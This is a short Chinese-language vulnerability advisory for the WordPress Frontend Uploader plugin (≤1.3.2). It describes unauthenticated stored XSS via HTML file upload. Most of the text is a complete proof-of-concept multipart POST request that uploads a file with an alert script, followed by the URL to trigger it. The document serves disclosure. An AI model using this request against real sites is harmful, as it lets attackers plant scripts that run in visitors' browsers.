前端上传器 <= 1.3.2 - 未认证存储型跨站脚本
该插件未阻止通过表单上传HTML文件，允许未认证用户上传包含JavaScript等恶意内容的HTML文件，当有人直接访问该文件时，脚本将被触发。
在嵌入了 [fu-upload-form] 短代码的页面/文章中，通过生成的表单直接上传一个HTML文件。
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------124662954015823207281179831654
Content-Length: 1396
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_ID"
1247
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_title"
test
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_content"
test
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="files[]"; filename="xss.html"
Content-Type: text/html
<script>alert(/XSS/)</script>
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="action"
upload_ugc
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="form_layout"
image
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="fu_nonce"
021fb612f9
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="_wp_http_referer"
/wordpress/frontend-uploader-form/
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="ff"
92b6cbfa6120e13ff1654e28cef2a271
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="form_post_id"
1247
-----------------------------124662954015823207281179831654--
然后访问上传的文件以触发XSS，例如 https://example.com/wp-content/uploads/2021/07/xss.html